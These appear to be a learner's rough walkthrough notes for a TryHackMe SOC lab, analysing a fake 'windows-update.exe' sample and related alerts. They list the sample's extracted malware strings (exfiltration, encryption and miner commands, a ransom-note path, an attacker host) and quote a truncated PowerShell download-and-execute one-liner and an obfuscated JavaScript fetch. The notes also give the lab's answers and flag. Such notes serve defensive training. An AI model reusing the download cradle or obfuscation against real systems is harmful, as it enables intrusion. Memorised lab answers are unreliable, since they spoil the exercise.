

SOC/L1 -11.4. Shadow Trace

Task 1 - Scenario

It's the middle of the night shift. You're the only analyst in the SOC when a manager calls in urgently: a suspicious file was found on a user's machine and needs immediate review.

Your task: analyse the file, collect anything to identify it, gather any potential IOCs, correlate and analyse the alerts for potential malicious behaviour. It's up to you to piece together what's happening before it spreads further.

Task 2 - File analysis

Go to directory C:\Users\DFIRUser\DFIR Tools

PS > ls

PS > cd "DFIR Tools"

PS > cd "Malware Analysis" or cd "C:\Users\DFIRUser\DFIR Tools"

PS C:\Users\DFIRUser\DFIR Tools\Malware Analysis> .\floss.exe ../../Desktop/windows-update.exe

FLOSS against a Windows executable to extract hidden or obfuscated strings.

Executes floss.exe from Desktop\windows-update.exe refers to the executable located on the Desktop.

FLOSS ANALYSE

| FLOSS STATIC STRINGS: UTF-16LE (1) |

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192.168.1.83

WSAStartup failed

failed

Failed to connect to 192.168.1.83:22

192.168.1.83:22 successfully.

WSAStartup - windows network

Windows networking initialization function used in the Windows Sockets API (Winsock).

It prepares a program to use network communication such as TCP/IP sockets.

tryhatme.com/VEhNe3lvdV9nMHRfc29tZV9JT0NzX2ZyaWVvZHU0= (from base64 get flag)

<http://tryhatme.com/update/security-update.exe>

[*] File deleted.

file deleted, domain created) getaddrinfo failed Failed to connect to external-attacker.thm:25

Connected to external-attacker.thm:25 successfully.

Connedted port 25

C:\Windows\System32\drivers\etc\hosts

%s*.pdf

%s\rans-note.txt

(session pdf, created text)

email

dw_exec

minner

pdf_crypt

kill_proc

hello

exfiltrate

spawnchain

connectossh

Socket creation

Invalid IP address format

Connected to

external-attacker.thm (after

%s\%s

alive
sysinfo
[!] Unknown command received:
WSAStartup failed:
Socket failed:
Bind failed:
Listen failed:

Answer the questions below

| What is the architecture of the binary file windows-update.exe?

Answer C:\Users\DFIRUser\DFIR Tools\pestudio
open file > desktop windows-update (binary and sha)

| What is the hash (sha-256) of the file windows-update.exe?

Answer file > sha256,
B2A88DE3E3BCFAE4A4B38FA36E884C586B5CB2C2C283E71FBA59EFDB9EA64BFC

| Identify the URL within the file to use it as an IOC

Answer : <http://tryhatme.com/update/security-update.exe>

| With the URL identified, can you spot a domain that can be used as an IOC?

Answer: responses.tryhatme.com

Input the flag from the suspicious domain

| Answer: THM{you_g0t_some_IOCs_friend}

What library related to socket communication is loaded by the binary?

| Answer (check WSAStartup, bind, listen, send, recv, accept, socket)

pestudio > import(flag)> library red line > WSAStart network > WS2.32.dll

Task 3 - Alerts Analysis

| Can you identify the malicious URL from the trigger by the process powershell.exe?

(new-object
system.net.webclient).DownloadString([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly90cnlc
| IEX;

Analysed : FromBase64String"aHR0cHM6Ly90cnloYXRtZS5jb20vZGV2L21haW4uZXhl"
<https://tryhatme.com/dev/main.ex>

| Can you identify the malicious URL from the alert triggered by chrome.exe?

<https://reallysecureupdate.tryhatme.com/update.exe>

| What's the name of the file saved in the alert triggered by chrome.exe?

test.txt

fetch([104,116,116,112,115,58,47,47,114,101,97,108,108,121,115,101,99,117,114,101,117,112,100,97,116,101,46,116,114,121,104,97,116,109,10
{const u=URL.createObjectURL(b);const
a=document.createElement('a');a.href=u;a.download='test.txt';document.body.appendChild(a);a.click();a.remove();URL.revc
analyze fetch from decimal in cyber chef

fetch downloaded, then blocked url but donwlated text.txt (A web browser fetches a webpage from a web server using Hypertext Transfer Protocol or secure HTTPS)